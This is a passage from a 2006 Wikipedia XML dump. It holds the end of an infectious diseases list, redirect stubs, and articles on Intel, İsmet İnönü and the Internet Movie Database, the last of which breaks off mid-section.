[[African trypanosomiasis]] &amp;ndash; [[Amebiasis]] &amp;ndash; [[Ascariasis]] &amp;ndash; [[Babesiosis]] &amp;ndash; [[Chagas Disease]] &amp;ndash; [[Clonorchiasis]] &amp;ndash; [[Cryptosporidiosis]] &amp;ndash; [[Cysticercosis]] &amp;ndash; [[Diphyllobothriasis]] &amp;ndash; [[Dracunculiasis]] &amp;ndash; [[Echinococcosis]] &amp;ndash; [[Enterobiasis]] &amp;ndash; [[Fascioliasis]] &amp;ndash; [[Fasciolopsiasis]] &amp;ndash; [[Filariasis]] &amp;ndash; [[Free-living amebic infection]] &amp;ndash; [[Giardia lamblia|Giardiasis]] &amp;ndash; [[Gnathostomiasis]] &amp;ndash; [[Hymenolepiasis]] &amp;ndash; [[Isosporiasis]] &amp;ndash; [[Leishmaniasis|Kala-azar]] &amp;ndash; [[Leishmaniasis]] &amp;ndash; [[Malaria]] &amp;ndash; [[Metagonimiasis]] &amp;ndash; [[Myiasis]] &amp;ndash; [[Onchocerciasis]]  &amp;ndash; [[Pediculosis]] &amp;ndash; [[Enterobiasis|Pinworm Infection]] &amp;ndash; [[Scabies]] &amp;ndash; [[Schistosomiasis]] &amp;ndash; [[Taeniasis]] &amp;ndash; [[Toxocariasis]] &amp;ndash; [[Toxoplasmosis]] &amp;ndash; [[Trichinellosis]] &amp;ndash; [[Trichinellosis|Trichinosis]] &amp;ndash; [[Trichuriasis]] &amp;ndash; [[Trypanosomiasis]]

== [[Fungus|Fungal]] infectious diseases ==

[[Aspergillosis]] &amp;ndash; [[Blastomycosis]] &amp;ndash; [[Candidiasis]] &amp;ndash; [[Coccidioidomycosis]] &amp;ndash; [[Cryptococcosis]] &amp;ndash; [[Histoplasmosis]] &amp;ndash; [[Tinea pedis]]

== [[Prion]] infectious diseases ==

[[Bovine spongiform encephalopathy]] &amp;ndash; [[Creutzfeldt-Jakob disease]] &amp;ndash; [[Kuru]]

==References==
*[[Control of Communicable Diseases Manual]] edited by James B. Chin, APHA, 2000

== See also ==
* [[List of ICD-9 codes 001-139: Infectious and parasitic diseases]]
* [[ICD-10 Chapters A and B: Certain infectious and parasitic diseases]]
* [[List of notifiable diseases]]
* [[Basic reproductive rate]]


[[Category:Infectious diseases]]

[[de:Infektionskrankheit]]
[[ja:&amp;#24863;&amp;#26579;&amp;#30151;]]
[[nl:Infectieziekte]]
[[pl:Choroba zaka&amp;#378;na]]</text>
    </revision>
  </page>
  <page>
    <title>Infinite Series</title>
    <id>14614</id>
    <revision>
      <id>15912154</id>
      <timestamp>2003-10-27T00:03:04Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[series (mathematics)]]</text>
    </revision>
  </page>
  <page>
    <title>Inflected language</title>
    <id>14616</id>
    <revision>
      <id>15912155</id>
      <timestamp>2004-12-02T20:20:14Z</timestamp>
      <contributor>
        <username>Ish ishwar</username>
        <id>138516</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Inflection]]</text>
    </revision>
  </page>
  <page>
    <title>Intel</title>
    <id>14617</id>
    <revision>
      <id>42076606</id>
      <timestamp>2006-03-03T17:40:24Z</timestamp>
      <contributor>
        <ip>166.109.110.20</ip>
      </contributor>
      <text xml:space="preserve">{{dablink|The following article is about the multinational [[corporation]]. '''Intel''' is also an abbreviation for intelligence, used in reference to [[Military intelligence|military intelligence]] and [[espionage]].}}
{{Infobox_Company |
  company_name   = Intel Corporation |
  company_logo   = [[Image:Intel-logo.svg|150px]] |
  company_type   = [[Public company|Public]] ({{nasdaq|INTC}}) |
  company_slogan = Leap ahead. |
  foundation     = [[1968]]|
  location       = [[Santa Clara, California]], [[USA]] (incorporated in [[Delaware]])|
  key_people     = [[Paul Otellini]], CEO &lt;br&gt;[[Craig Barrett (Intel Chairman)|Craig Barrett]], Chairman|
  num_employees  = 91,000|
  industry       = [[Semiconductors]]|
  products       = [[Microprocessors]]&lt;br&gt;[[Flash memory]]|
  revenue        = [[Image:green up.png]]$34.2 billion [[United States dollar|USD]] ([[Fiscal year|2004]])|
  homepage       = [http://www.intel.com/ www.intel.com]

}}
'''Intel Corporation''' ({{nasdaq|INTC}}, {{sehk|4335}}), founded in [[1968]] as '''Int'''egrated '''El'''ectronics Corporation, is a [[United States|U.S.]]-based multinational corporation that is best known for designing and manufacturing [[microprocessor]]s and specialized [[integrated circuits]].  Intel also makes [[network card]]s, [[motherboard]] chipsets, components, and other devices. Intel has advanced research projects in all aspects of [[Fabrication (semiconductor)|semiconductor manufacturing]], including [[MEMS]].

==Overview==
Intel was founded in [[1968]] by [[Gordon E. Moore]] (a [[chemist]] and [[physicist]]) and [[Robert Noyce]] (a physicist and co-inventor of the [[integrated circuit]]) when they left [[Fairchild Semiconductor]].  It is noteworthy that Intel competitor [[AMD]] was also founded by the [[Traitorous Eight]], in [[1969]].  Intel's employee number four was [[Andrew Grove|Andy Grove]] (a [[chemical engineer]]), who ran the company through much of the [[1980s]] and the high-growth [[1990s]].  It is Grove who is now remembered as the company's key leader. By the end of the 1990s, Intel was one of the largest and most successful businesses in the world, though fierce competition within the semiconductor industry has since diminished its position somewhat.

===SRAMS and the microprocessor===
[[Image: L Intel-C4004 (gray traces).jpg|thumb|right|160px|Intel C4004, the world's first single-chip microprocessor. The &quot;gold and white with gray traces&quot; specimen shown belongs to the initial CERDIP type series manufactured in 1971.]]
The company's first products were random-access [[Primary storage|memory]] integrated circuits, and Intel grew to be a leader in the fiercely competitive [[Dynamic random access memory|DRAM]], [[Static random access memory|SRAM]], and [[Read-only memory|ROM]] markets throughout the 1970s.  Concurrently, Intel engineers [[Marcian Hoff]], [[Federico Faggin]], [[Stanley Mazor]] and [[Masatoshi Shima]] invented the first [[microprocessor]].  Originally developed for the Japanese company [[Busicom]] to replace a number of [[ASIC]]'s in a  calculator already produced by Busicom, the [[Intel 4004]] was introduced to the mass market on [[November 15]], [[1971]], though the microprocessor did not become the core of Intel's business until the mid-1980s. (Note: Intel is usually given credit with [[Texas Instruments]] for the almost-simultaneous invention of the microprocessor.)

===From DRAM to microprocessors===
In 1983 at the dawn of the [[personal computer]] era, Intel's profits came under increased pressure from [[Japan|Japanese]] memory-chip manufacturers, and then-President Andy Grove drove the company into a focus on microprocessors. Grove described this transition in the book ''[[Only the Paranoid Survive]]''.  A key element of his plan was the notion, then considered radical, of becoming the single source for successors to the popular [[8086]] microprocessor.

Until then, manufacture of complex integrated circuits was not reliable enough for customers to depend on a single supplier, but Grove began producing processors in three geographically distinct factories, and ceased licensing the chip designs to competitors such as [[Zilog]] and [[AMD]].  When the PC industry exploded in the late 1980s and 1990s, Intel was one of the primary beneficiaries.

===The rise of PC architecture===
[[Image:Intel4.jpg|thumb|200px|right|Intel Pentium 4 Processor]]
During the [[1990s]], Intel's [[Intel Architecture Labs]] (IAL) was responsible for many of the hardware innovations of the [[personal computer]], including the [[Peripheral Component Interconnect|PCI]] Bus, the [[PCI Express]] (PCIe) bus, the [[Universal Serial Bus]] (USB), and the now-dominant architecture for multiprocessor servers.  IAL's software efforts met with a more mixed fate; its video and graphics software was important in the development of software digital video, but later its efforts were largely overshadowed by competition from [[Microsoft]].  The competition between Intel and Microsoft was revealed in testimony at the Microsoft antitrust trial.

===Partnership with Apple===
On [[June 6]] [[2005]], [[Apple Computer]] CEO [[Steve Jobs]] announced in his keynote address at [[Worldwide Developers Conference|WWDC]] that Apple would be [[Apple Intel transition|transitioning]] from its long-favored [[PowerPC]] architecture to Intel CPUs. Reasons stated for the change were vague, but included thermal issues, as recent G5-class PowerPC chips are well-known for running hot.  Also, it was implied that the future PowerPC roadmap was unable to satisfy Apple's needs in terms of computing power. In particular, the large power requirement of the G5 chips was seen as a major stumbling block, preventing the placement of such a chip in one of Apple's [[laptop computers]], the [[PowerBook]] and [[iBook]]. The switchover to Intel began on [[January 10]], [[2006]], with the release of the [[MacBook Pro]] and a revised [[IMac#iMac Core Duo|iMac]] followed by a revised [[Mac Mini]] a month later. Apple initially planned to put Intel chips in all of their computers by the end of 2007[http://www.apple.com/pr/library/2005/jun/06intel.html], but according to Jobs the transition will now be complete by the end of 2006[http://news.com.com/Jobs+New+Intel+Macs+are+screamers/2100-7354_3-6025409.html].

===Competition and antitrust===
Intel's dominance in the [[x86]] microprocessor market led to numerous charges of [[antitrust]] violations over the years, including [[Federal Trade Commission|FTC]] investigations in both the late [[1980s]] and in [[1999]], and civil actions such as the [[1997]] suit by [[Digital Equipment Corporation]] (DEC) and a patent suit by [[Intergraph]].  Intel's market dominance (at one time it controlled over 85% of the market for 32-bit PC microprocessors) combined with Intel's own hardball legal tactics (such as its infamous [[338 patent]] suit versus PC manufacturers) made it an attractive target for litigation, but few of the lawsuits ever amounted to anything.

Currently, the only major competitor to Intel on the [[x86]] processor market is [[Advanced Micro Devices]] (AMD), with which Intel has had full cross-licensing agreements since [[1976]]: each partner can use the other's [[patent]]ed technological innovations without charge. Some smaller competitors such as [[VIA_Technologies|VIA]] and [[Transmeta]] produce [[low-power]] processors for small factor computers and portable equipment.

In June [[2005]], AMD sued Intel in two jurisdictions for anticompetitive practices. The [[Japan|Japanese]] [[Fair Trade Commission]] found in favor of AMD; the other case will be heard by a court in [[Delaware]]. The case in Japan led to &quot;dawn raids&quot; by the [[European Commission]] on some European Intel offices in July 2005.

Intel filed its response[http://www.intel.com/pressroom/archive/releases/20050901corp.htm] in September  to AMD's lawsuit and refuted AMD's claims, stating that its business practices are fair and lawful. In its rebuttal, Intel laid out the skeleton of its legal defense, which included a deconstruction of AMD's offensive strategy and levied the charge that AMD's long-struggling market position is largely a result of bad business decisions and management incompetence, including underinvestment in essential manufacturing capacity and overreliance on outsourcing chip foundries.[http://www.forbes.com/technology/2005/09/02/intel-amd-antitrust-cz_dw_0902intel.html?partner=yahootix]

Legal experts predict the lawsuit will most likely drag out for a number of years, since Intel's response indicates they are not likely to try and settle with AMD.

===Leadership===
[[Robert Noyce]] was Intel's [[Chief executive officer|CEO]] at its founding in [[1969]], followed by co-founder [[Gordon Moore]] in [[1975]].  [[Andy Grove]] became the company's [[President]] in [[1979]] to which he added the CEO title in [[1987]] when Moore became Chairman.  In [[1997]] Grove succeeded Moore as [[Chairman]], and [[Craig Barrett (Intel President)|Craig Barrett]], already company [[president]], took over.  On [[May 18]] [[2005]], Barrett handed the reins of the company over to [[Paul Otellini]], who previously was the company president and was responsible for Intel's design win in the original [[IBM PC]]. The [[board of directors]] elected Otellini, and Barrett replaced Grove as [[chairman of the board]].  Grove stepped down as Chairman, but will be retained as a special advisor.

====Corporate governance====
Current members of the [[board of directors]] of Intel are: [[Craig Barrett (Intel Chairman)|Craig Barrett]], [[Charlene Barshefsky]], [[John Browne, Baron Browne of Madingley|John Browne]], [[James Guzy]], [[Reed Hundt]], [[James Plummer]], [[David Pottruck]], [[Jane Shaw]], [[John Thornton]], and [[David Yoffie]].

===Origin of the name===
At its founding, Gordon Moore and Robert Noyce wanted to name their new company &quot;Moore Noyce&quot;. This name, however, sounded remarkably similar to &quot;more noise&quot; - an ill-suited name for an [[electronics]] company, since noise is typically associated with bad [[interference]].  They then used the name NM Electronics for almost a year, before deciding to call their company '''INT'''egrated '''EL'''ectronics or &quot;Intel&quot; for short. However, Intel was already trademarked by a [[hotel]] chain, so they had to buy the rights for that name at the beginning.

==Financial information==
Its [[market capitalization]] is about $150.5 billion (December 2005).

===Stock exchanges===
*Intel is publicly traded at [[NASDAQ]] with the symbol INTC.

===Indices===
*[[Dow Industrials]]
*[[S&amp;P 500]]
*[[Nasdaq 100]]
*[[PHLX Semiconductor Sector|SOX]] (PHLX Semiconductor Sector)
*[[GSTI Software Index]]

==Diversity==
Intel received a 100% rating on the first Corporate Equality Index released by the [[Human Rights Campaign]] in [[2002]]. It has maintained this rating in 2003 and 2004. In addition, the company was named one of the 100 Best Companies for Working Mothers in 2005 by [[Working Mother magazine]]. However, Intel's working practices still face criticism, most notably from Ken Hamidi [http://www.faceintel.com/], a former employee who has been subject to multiple unsuccessful lawsuits from Intel.

==Controversial issues==
===Antitrust claims===
In June 2005, [[AMD]], Intel's chief rival in the x86 microprocessor market, filed an antitrust claim against Intel and its Japanese subsidiary in a Delaware court. Amongst other accusations, [[AMD]] alleged that Intel was unlawfully maintaining its monopoly through unfair business practices, such as drastically lower pricing for customers on the condition that Intel microprocessors were used exclusively in their systems. Whilst proving that Intel holds a monopoly is simple (the company is reckoned to have an 80%&amp;ndash;90% share of the processor market), the debate over the &quot;scare and coercion&quot; tactics supposedly employed by Intel is likely to be more protracted. IT insiders foresee the case to be a landmark ruling in what is a fiercely competitive market.

==Advertising==
&lt;div style=&quot;float:right&quot;&gt;&lt;gallery&gt;
  Image:Intel - Inside.jpg|The well known ''Intel Inside'' slogan (1990-2006)
  Image:IntelLogo.png|Intel's old logo (1968-2005)
  Image:Intel 4c 100tag.svg|Intel's new logo and slogan (2006-)
&lt;/gallery&gt;&lt;/div&gt;
Intel has become one of the world's most recognizable computer brands following its long-running &quot;Intel Inside&quot; campaign. The campaign, which started in [[1990]], was created by Intel marketing manager Dennis Carter. The four-note jingle was introduced the following year and by its tenth anniversary was being heard in 130 countries around the world.

The Intel Inside program is very lucrative for advertisers.  Intel pays half the advertising costs for any ad that uses the &quot;Intel Inside&quot; logo.  However, in print media, Intel stipulates that the page the ad is on must not contain any references to competitors, such as [[AMD]].  If the ads do not meet these requirements, Intel does not pay half the cost and the advertiser is prohibited from using the &quot;Intel Inside&quot; logo.  Intel employs staff whose primary function is looking for advertisements which violate the agreement.  Advertisers found doing so&amp;mdash;many of which are &quot;mom and pop&quot; shops ignorant of the reimbursement agreement&amp;mdash;are requested to stop violating the use of the logo and are then told how to legally use the logo and get part of their advertising costs reimbursed. 

The [[Centrino]] advertising campaign has been hugely successful, leading to the ability to access wireless internet from a laptop becoming linked in consumers minds to Intel chips. In the UK this has caused some controversy, as the [[Advertising Standards Authority|ASA]] upheld complaints that this was a misleading advert.

PC companies advertising products containing Intel chips are required to include the jingle in their film and television advertisements in order to receive the reimbursement.

In December 2005, Intel ended the &quot;Intel Inside&quot; campaign, and subsequently began a new campaign on January 1, 2006 based on a new logo and the slogan, &quot;Leap ahead&quot;. The new logo is clearly inspired by the &quot;Intel Inside&quot; logo.

In mid January 2006, Intel announced that they were dropping the long running Pentium name from its processors.  They phased out the Pentium names from mobile processors first, when the new [[Yonah]] chips, branded [[Core Solo]] and [[Core Duo]], were released.  The desktop processors will quietly change from the Pentium brand when the Core line of processors are available.  The Pentium name was first used to refer to the 586 Intel processors (Pent refers to the 5 in 586).

Though some in the Macintosh community were concerned that Intel's branding, including the [[decal]]s and [[jingle]], would be used with the new Intel-based Macintoshes (see [[Apple Intel transition]]), this has not occured.

Intel is a major sponsor of the [[BMW Sauber]] [[Formula 1]] racing team.
&lt;br clear=left&gt;

==See also==
* [[List of Intel microprocessors]]
* [[List of Intel chipsets]]
*[[Comparison of NVIDIA Graphics Processing Units]]
*[[Comparison of ATI Graphics Processing Units]]
*[[Comparison of Intel Central Processing Units]]
*[[Comparison of AMD Central Processing Units]]

==External links==
*[http://www.intel.com/ Intel website]
*[http://www.intel.com/intel/finance/ Intel Investor Relations site]
*[http://www.intel.com/intel/intelis/museum/ Intel Museum]
*[http://www.inteltechnology.net/ Intel Technology]
*[http://www.sciserv.org/sts/ Intel Science Talent Search]

===Data===
*[http://biz.yahoo.com/ic/13/13787.html Yahoo! - Intel Corporation Company Profile]


[[Category:Companies based in California]]
[[Category:Companies based in Oregon]]
[[Category:Companies listed on NASDAQ]]
[[Category:Computer companies of the United States]]
[[Category:Computer hardware companies]]
[[Category:Dow Jones Industrial Average]]
[[Category:Manufacturing companies of the United States]]
[[Category:1968 establishments]]

[[af:Intel]]
[[bg:Интел]]
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[[bs:Intel]]
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[[da:Intel]]
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[[eo:Intel]]
[[fr:Intel Corporation]]
[[gl:Intel]]
[[ko:인텔]]
[[hr:Intel]]
[[id:Intel]]
[[it:Intel Corporation]]
[[he:אינטל]]
[[lt:Intel]]
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[[no:Intel]]
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[[ru:Интел]]
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[[fi:Intel]]
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[[th:อินเทล]]
[[tr:Intel]]
[[zh:英特尔]]</text>
    </revision>
  </page>
  <page>
    <title>İsmet İnönü</title>
    <id>14618</id>
    <revision>
      <id>42049766</id>
      <timestamp>2006-03-03T13:20:11Z</timestamp>
      <contributor>
        <username>Gene Nygaard</username>
        <id>146986</id>
      </contributor>
      <comment>indexing</comment>
      <text xml:space="preserve">'''Mustafa İsmet İnönü''' ([[September 24]] [[1884]] - [[December 25]], [[1973]]) was a [[Turkey|Turkish ]] soldier, statesman and the second [[List of Presidents of Turkey|President]] of [[Turkey]].

He was born in [[İzmir]] in [[1884]]. His father was Hacı Reşid Bey, a member of the Ottoman bureaucracy, an examining magistrate born in [[Malatya]], and his mother was Cevriye Hanım, daughter of [[Russo-Turkish War, 1877-1878|Russo-Turkish War]] refugees from [[Bulgaria]]. Due to his father's assignments, the family moved from one city to another. Thus, İsmet İnönü did his primary studies in [[Sivas]]. 

İnönü graduated from the [[Military Academy]] in [[1903]] and received his first military assignment in the [[Ottoman Empire|Ottoman]] army. He joined the Committee of Union and Progress. He won his first military victories by suppressing two major revolts against the struggling [[Ottoman Empire]], first in [[Rumelia]] and second in [[Yemen]] whose leader was [[Yahya Muhammad Hamid ed-Din]]. He was also the military officer on the preparation of the new frontier between Ottoman Empire and Bulgaria after [[Balkan Wars]]. During [[World War I]], he fought on the eastern front in [[Syria]], then he was appointed as the commander of the western fronts. During his assignment in the [[Caucasus (geographic region)|Caucasus]] he worked with [[Atatürk]]. After [[World War I]] he passed the [[Anatolia]] to join the Turkish nationalist movement. After the default of [[Ali Fuat Cebesoy]] to organize the local Turkish rebellious troops, he became the general commander of the western Turkish army  and remained in this position during [[Greco-Turkish War (1919-1922) |War of Independence]]. He was promoted to brigadier general after the &quot;[[Battle of Inonu|Battles of İnönü]]&quot;, in which he successfully defended the central [[Anatolia]]n territory against the [[Greece|Greek]] Army. During [[Greco-Turkish War (1919-1922) |War of Independence]] he was also member of the [[Grand National Assembly of Turkey|Grand National Assembly]].

He made a career change by being chosen as the chief of the Turkish team in the [[Treaty of Lausanne]]. İnönü had been [[List of Prime Ministers of Turkey|Prime Minister]] of Turkey for several terms, maintaining the system Atatürk had put in place. He acted after every crisis (such as the civil disorder of [[Sheikh Said]] or attempted assassination of [[Atatürk]] in Izmir) to restore peace in the country. He managed the successful economic launch, especially after the 1929 economic crisis, by planning with the help of the [[Soviet Union]]. After the death of [[Atatürk]], he was the only candidate to succeed him, and he was elected as the second President of the Republic of [[Turkey]]. His biggest political achievement was keeping Turkey out of [[World War II]]. In [[1950]] his party lost the [[1950 Turkish election|general election]] and presided over the peaceful transfer of power to the [[Democratic Party (Turkey)|Democratic Party]]. İnönü served for ten years as [[leader of the opposition]] before returning to power after the [[Turkish coup of 1960|coup of 1960]].
[[Image:Inonutomb.jpg|left|thumb|250px|İnönü's tomb]]
Ismet Inönü was by the standards of his time a highly educated man, speaking [[Arabic language|Arabic]], [[German language|German]], [[French language|French]] and [[English language|English]]. 

İnönü died in [[1973]]. He was interred opposite Atatürk's mausoleum at [[Anıtkabir]] in [[Ankara]].

His son, [[Erdal Inonu|Erdal İnönü]], is a former leader of the [[Republican People's Party (Turkey)|Republican People's Party]] and deputy prime minister of Turkey.

==Famous quotes by İsmet İnönü==



{{start box}}
{{succession box |
  before= [[Kemal Atatürk|Mustafa Kemal Atatürk]] |
  title=[[List of Presidents of Turkey|President of Turkey]] |
  years=1938&amp;ndash;1950 |
  after=[[Celal Bayar]]
}}
{{succession box |
  before=[[Rauf Orbay]]&lt;br&gt;[[Ali Fethi Okyar]]&lt;br&gt;[[Emin Fahrettin Özdilek]] |
  title=[[List of Prime Ministers of Turkey|Prime Minister of Turkey]] |
  years=1923&amp;ndash;1924&lt;br&gt;1925&amp;ndash;1937&lt;br&gt;1961&amp;ndash;1965 |
  after=[[Ali Fethi Okyar]]&lt;br&gt;[[Celal Bayar]]&lt;br&gt;[[Suad Hayri Ürgüplü]]
}}
{{end box}}

[[Category:1884 births|Inonu, Ismet]]
[[Category:1973 deaths|Inonu, Ismet]]
[[Category:Presidents of Turkey|Inonu, Ismet]]
[[Category:Prime Ministers of Turkey|Inonu, Ismet]]
[[Category:Turkish military people|Inonu, Ismet]]
[[Category:Turkish politicians|Inonu, Ismet]]
[[Category:World War II political leaders|Inonu, Ismet]]
[[Category:Turkish people|Inonu, Ismet]]

[[de:İsmet İnönü]]
[[es:Ismet Inönü]]
[[eo:İsmet İNÖNÜ]]
[[fr:İsmet İnönü]]
[[nl:Ismet Inönü]]
[[ja:イスメト・イノニュ]]
[[no:Ismet Inönü]]
[[sl:Mustafa Ismet Inöni]]
[[sr:Мустафа Исмет Инени]]
[[tr:İsmet İnönü]]
[[zh:伊斯麦特·伊诺努]]</text>
    </revision>
  </page>
  <page>
    <title>List of input devices</title>
    <id>14621</id>
    <revision>
      <id>25931050</id>
      <timestamp>2005-10-19T17:06:00Z</timestamp>
      <contributor>
        <ip>203.186.238.156</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Input device]]</text>
    </revision>
  </page>
  <page>
    <title>The Internet Movie Database</title>
    <id>14622</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42155907</id>
      <timestamp>2006-03-04T04:42:26Z</timestamp>
      <contributor>
        <username>Ummit</username>
        <id>328950</id>
      </contributor>
      <minor />
      <comment>/* User voting */</comment>
      <text xml:space="preserve">[[Image:IMDb.Logo.png|right|IMDb's logo]]
'''The Internet Movie  Database''' ('''IMDb''') [http://www.imdb.com/] is an [[online]] [[database]] of information about [[actor]]s, [[film|movies]], [[Television program|television shows]], television stars and [[video games]]. Owned by [[Amazon.com]] since [[1998]], the IMDb celebrated its fifteenth anniversary on [[October 17]], [[2005]].

==Overview==
The IMDb website consists of the largest known single accumulation of data on individual films, television programs, direct-to-video product and videogames reaching back to their respective beginnings, and worldwide in scope.  Wherever possible, the information goes beyond simple screen or press credits to include uncredited personnel and companies involved, either artistically or technically, in the production and distribution of product covered, thus aiming at completeness of detail.  Furthermore, IMDb tracks projects in production, and even major, announced projects still in the developmental stage.  Simultaneously, a collateral database of all persons identified in the product database exists, including biographical details and information about other aspects of their professional lives not covered by individual entries in the database (theatrical appearances, commercial advertising appearances, etc.).  Information is largely provided by a cadre of volunteers with expertise in various areas of film history, with the actual staff largely used to screen and edit the voluminous amount of material submitted daily, and to track information from industry resources on current and planned projects and contemporary personalities only. 

The IMDb also offers ancillary material such as daily movie and TV news, and running special features about various movie events such as the [[Academy Award|Academy Awards]]. IMDb also has an active message board system: there are message boards for each database entry, which can be found at the bottom of the relevant page, as well as general discussion boards on various topics. 

IMDb is a free site, which requires only registration to access its complete range of data and activities.  Any person with an [[e-mail]] account and a [[web browser]] that accepts [[HTTP cookie|cookies]] can set up an account with IMDb, then research covered product, submit information and engage in other site activities.  (Site visitors not wishing to provide registration information can, however, search and view the database.)  For automated queries, most of the database can be downloaded as ([[data compression|compressed]]) [[binary and text files|plain text]] files and the information can be extracted using the tools provided (typically using a [[command line interface]]). See: [http://imdb.com/interfaces IMDb interfaces]

It has also in 2003 spun off a private, subscription-funded site, [[IMDbPro]], offering the entire IMDb contents plus additional information for business professionals, such as personnel contact details, movie event calendars, and a greater range of industry news.

===Statistics===
[[February 28]] [[2006]]:
*Titles: 486,991
*People: 1,994,222

See: [http://www.imdb.com/database_statistics IMDb Statistics]

==History==
===In rec.arts.movies===
The database originated from two lists started as independent projects in early [[1989]] by participants in the [[Usenet]] [[newsgroup]] rec.arts.movies.  In each case, a single maintainer recorded items [[email]]ed by newsgroup readers, and posted updated versions of his list from time to time.

It began with a posting titled '''Those Eyes''', on the subject of [[actress]]es with beautiful eyes. [[Hank Driskill]] began to collect a list of sexy actresses and what movies they had appeared in, and as the size of the repeated posting grew far beyond a normal newsgroup article, it soon became known simply as '''THE LIST'''. {{ref|THE_LIST}}.

The other project, started by [[Chuck Musciano]], was briefly called the '''Movie Ratings List''' and soon became the '''Movie Ratings Report'''. Musciano simply asked readers to rate movies on a scale of 1 to 10, and reported on the votes {{ref|MRR}}.  He soon began posting &quot;ballots&quot; with lists of movies for people to rate, so his list also grew quickly.

In [[1990]] [[Col Needham]] collated the two lists and produced a '''Combined LIST &amp; Movie Ratings Report''' {{ref|Combined}}, and at this point the ball really started rolling. Needham soon found himself starting a (male) '''[[Actor]]s List''', while [[Dave Knight]] began a '''[[film director|Directors]] List''', and [[Andy Krieg]] took over THE LIST, which would later be renamed as the '''Actress List'''.  Both this and the Actors List had been restricted to people who were still alive and working, but retired people began to be added, and Needham also started what was then (but did not remain) a separate '''Dead Actors/Actresses List'''. The goal now was to make the lists as inclusive as the maintainers could manage.

In late [[1990]], the lists included almost 10,000 [[movies]] and [[television series]]. On [[October 17]], [[1990 in film|1990]], Needham posted a collection of [[Unix]] [[shell script]]s which could be used to search the four lists, and the database that would become the IMDb was born. At the time, it was known as the '''rec.arts.movies movie database'''.

===On the Web===

By [[1993 in film|1993]], the database had been expanded to include additional categories of filmmakers and other demographic material, as well as [[trivia]], [[biographies]], and [[plot|plot summaries]]; the movie ratings had been properly integrated with the list data; and a centralised email interface for querying the database had been created. Later in the year, it moved onto to the [[World Wide Web]] (a network in its infancy back then) under the name of ''Cardiff Internet Movie Database''. The database resided on the [[servers]] of the computer science department of [[Cardiff University]] in [[Wales]]. [[Rob Hartill]] was the original web interface author. In [[1994 in film|1994]], the email interface was revised to accept the submission of all information, meaning that people no longer had to email the specific list maintainer with their updates. However, the structure remained that information received on a single film was divided among multiple section managers, the sections being defined and determined by categories of film personnel and the individual filmographies contained therein.  Its management also continued to be in the hands of a small contingent of underpaid or volunteer &quot;section managers&quot; who were receiving ever-growing quantities of information on films from around the world and across time from contributors of widely varying level of expertise and informational resources.  Despite the annual claims of Needham, in a year-end report newsletter to the Top 50 contributors, that &quot;fewer holes&quot; must now remain for the coming year, the amount of information still missing from the database was vastly underestimated.  Over the next few years, the database was run on a network of [[mirror (computing)|mirrors]] across the world with donated bandwidth.

===As an independent company===

In [[1995]], it became obvious to the principal site managers that the project had become too large to maintain merely through donations and in their spare time. The decision was made to become a commercial venture and in [[1996]], IMDb was incorporated in the [[United Kingdom]], becoming the Internet Movie Database Ltd, with [[Col Needham]] the primary owner as well as identifed figurehead. The remaining shareholders were the people maintaining the database. Revenue was generated through advertising, licensing and partnerships.

This state of affairs continued until [[1998]]. The database was growing every day, and it was again reaching a critical point.  Most revenues were being spent on equipment, and shareholders were finding it difficult to reconcile the fact that for all their hard work they themselves were getting very little income. Many, by this time, had families to support and interact with, and could not hold regular paying jobs and meet the increasing needs of the database.  The company's ability to add and upgrade equipment was dwindling, while the number of new informational submissions, as well as fan text, were increasing incrementally.  The system was suffering noticeable slowdowns both in accessing the site and in having new data posted.  Offers were solicited and received from major businesses to purchase the database; however, the shareholders were unwilling to sell if it could not be guaranteed that the information would be accessible to the internet community for free.

===As a subsidiary company===

In 1999, [[Jeff Bezos]], founder, owner and CEO of [[Amazon.com]] struck a deal with Col Needham and other principal shareholders, to buy IMDb outright and attach it to his corporate empire as a subsidiary, private company.   This gave IMDb the ability to pay the shareholders salaries for their work, while Amazon.com would be able to use the IMDb as an advertising resource for selling [[DVD]]s and [[videotape]]s.  Volunteer contributors were not advised in advance of even the possibility of IMDb - and their contributions along with it - being sold to a private business, which created some initial discord and defection of regulars.  Promises to recompense all major contributors in some unspecified way for their prior services were issued by Col Needham in announcing the sale, but did not materialize.

IMDb continues to expand its functionality. In [[2002]], it added a subscription service known as '''IMDbPro''' aimed at entertainment professionals. It provides a variety of services including [[film_production|production]] and [[box office]] details, as well as a company directory. Subscriptions are priced at $12.95 per month, or $99.95 per year (as of April, 2005).  Most information contained in the IMDb database proper continues to come from volunteer researchers, whose only incentive, since 2003, is that if they are identified as being one of &quot;the top 100 contributors&quot; in terms of amounts of hard data submitted, they receive complimentary free access to IMDbPro for the following calendar year.

==The database==

On [[26 January]] [[2006]], the long-awaited &quot;Full Episode Support&quot; came online, meaning the database now supports separate cast and crew listings for every episode of every TV series. This was described by Col Needham as &quot;the largest change we've ever made to our data model&quot;, and increased the number of titles in the database from 485,000 to nearly 750,000.

At present, the database entries for TV series are in a state of flux, as listings are migrated from series titles to individual episodes. The maintainers anticipate that it will take a couple of months for data to settle down and bugs to be ironed out.

{{sect-stub}}

==Ancillary features==

===User voting===
[[Image:IMDB top 250.svg|thumb|250px|IMDb top 250 films, plotted by year and the sum of the ratings for movies from that year.]]
As one adjunct to data, the IMDb offers a weighted voting system for aggregating the subjective reactions of viewers to a movie as a numerical rating; current plans in development will also allow this rating to occur for television programming on an episode-by-episode basis.  Each user may submit one vote in a range of 1-10, with 1 indicating the most negative opinion, and 10 the highest.  Each voter determines his own standards upon which to participate, and to rate each film.  The received votes are weighted according to the demographic distribution in order to compensate for the fact that IMDb users are not representative of the demographics of the overall movie-going public. IMDb also applies additional confidential weighting factors to prevent &quot;vote stuffing&quot;.

The IMDb [http://www.imdb.com/top_250_films Top 250] is a listing of the top 250 films of all-time as voted by the registered users of the website. Only theatrical releases running longer than 60 minutes with over 1250 votes are considered; all other product are ineligible.  Also, the Top 250 rating is based on only the votes of &quot;regular voters&quot;.  

They also represent only the aglomeration of those inclined to vote, and these users tend to be overwhelmingly fans of recent productions.  Therefore, the ratings have no scientific validity; neither do they represent a single standard of determination nor a fair representation of the international community.

